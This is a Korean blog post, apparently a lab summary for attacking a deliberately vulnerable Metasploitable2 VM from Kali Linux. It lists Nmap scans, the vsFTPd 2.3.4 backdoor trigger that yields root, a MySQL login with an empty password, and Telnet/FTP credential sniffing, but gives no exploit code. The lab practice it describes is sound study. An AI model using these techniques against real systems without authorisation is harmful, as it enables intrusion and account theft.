□ 🔴 ATTACKER: Kali Linux VM 설정 (192.168.56.101)
□ 🔵 VICTIM: Metasploitable2 VM 설정 (192.168.56.102)
□ Host-Only 네트워크 연결 확인
□ Wireshark 권한 설정
□ 연결 테스트 (ping)

[실습 완료 - 정보 수집]
□ Nmap 호스트 발견 스캔 (-sn)
□ Nmap TCP SYN 스캔 (-sS)
□ Nmap UDP 스캔 (-sU)
□ Nmap 서비스 버전 탐지 (-sV)
□ Nmap OS 탐지 (-O)
□ Nmap 종합 스캔 (-A)
□ Nmap 취약점 스캔 (--script vuln)
□ Netcat 배너 그래빙
□ 스캔 결과 저장 (-oN, -oX)

[실습 완료 - 취약점 공격]
□ MySQL 외부 접속 (빈 패스워드)
□ vsFTPd 백도어 공격 (수동)
□ Metasploit vsFTPd 익스플로잇 (자동)

[실습 완료 - 패킷 분석]
□ tcpdump 기본 캡처
□ Wireshark TCP 핸드셰이크 분석
□ Telnet 패스워드 스니핑
□ FTP 인증 정보 캡처

[해킹 결과]
□ vsFTPd 백도어로 root 획득
□ MySQL root 빈 패스워드 (DB 탈취)
□ Telnet 평문 인증 캡처
□ 5개 이상 심각한 취약점 발견

[정리]
□ 캡처 파일 정리
□ 세션 종료
□ VM 안전 종료

 

 

핵심 요약

공격 결과 요약

┌─────────────┬──────────────────┬──────────────────┬───────────┐
│ 실습        │ 🔴 ATTACKER 행위 │ 🔵 VICTIM 상태   │ 결과      │
├─────────────┼──────────────────┼──────────────────┼───────────┤
│ 포트 스캔   │ nmap -sS 실행    │ 23개 포트 노출   │ 정보 수집 │
│ UDP 스캔    │ nmap -sU 실행    │ SNMP/NFS 노출    │ 정보 수집 │
│ 버전 탐지   │ nmap -sV 실행    │ 취약 버전 노출   │ 취약점 식별│
│ OS 탐지     │ nmap -O 실행     │ Linux 2.6.x 확인 │ 공격 계획 │
│ MySQL 접속  │ 외부 접속 시도   │ root 빈 패스워드 │ DB 탈취   │
│ FTP 백도어  │ :) 트리거 전송   │ 6200포트 오픈    │ root 획득 │
│ Telnet 스니핑│ Wireshark 캡처  │ 평문 인증 전송   │ 계정 탈취 │
└─────────────┴──────────────────┴──────────────────┴───────────┘

 

 

발견된 취약점

┌─────────────────┬──────────────────────┬────────────┐
│ 서비스          │ 취약점               │ 위험도     │
├─────────────────┼──────────────────────┼────────────┤
│ vsFTPd 2.3.4    │ 백도어 (root 획득)   │ Critical   │
│ MySQL 5.0.51a   │ root 빈 패스워드     │ Critical   │
│ UnrealIRCd      │ 백도어               │ Critical   │
│ Samba 3.0.20    │ 원격 코드 실행       │ Critical   │
│ Telnet          │ 평문 인증            │ High       │
│ FTP             │ 평문 인증            │ High       │
│ SNMP            │ 정보 노출            │ Medium     │
│ Apache 2.2.8    │ Slowloris DoS        │ Medium     │
└─────────────────┴──────────────────────┴────────────┘

 

 

공격 성공 결과

🚨 🔴 ATTACKER의 공격 성과:

1. vsFTPd 백도어: 🔵 VICTIM root 쉘 획득 (수초 내)
2. MySQL: 🔵 VICTIM 전체 데이터베이스 접근
3. Telnet: 🔵 VICTIM 패스워드 평문 캡처
4. 시스템 정보: OS, 커널 버전, 서비스 목록 완전 파악

→ 🔵 VICTIM 서버는 완전히 취약함!
→ 프로덕션 환경에서는 절대 사용 금지
→ 이러한 취약점이 실제 환경에 있으면 즉시 조치 필요

 


추가 학습 자료

 

[공식 문서]
• Nmap: https://nmap.org/docs.html
• Wireshark: https://www.wireshark.org/docs/
• Metasploit: https://docs.metasploit.com/

[취약점 데이터베이스]
• CVE: https://cve.mitre.org/
• NVD: https://nvd.nist.gov/
• Exploit-DB: https://www.exploit-db.com/

[연습 환경]
• VulnHub: https://www.vulnhub.com/
• HackTheBox: https://www.hackthebox.com/
• TryHackMe: https://tryhackme.com/

'네트워크' 카테고리의 다른 글

[26/01/13] Packet Tracer 실습  (0) 2026.01.13
[26/01/13] 네트워크 이론, 용어 정리  (0) 2026.01.13
Wireshark로 HTTP 패킷 캡쳐하기  (0) 2025.09.26
Network basic  (0) 2025.09.22
HTTP 상태코드  (0) 2024.07.24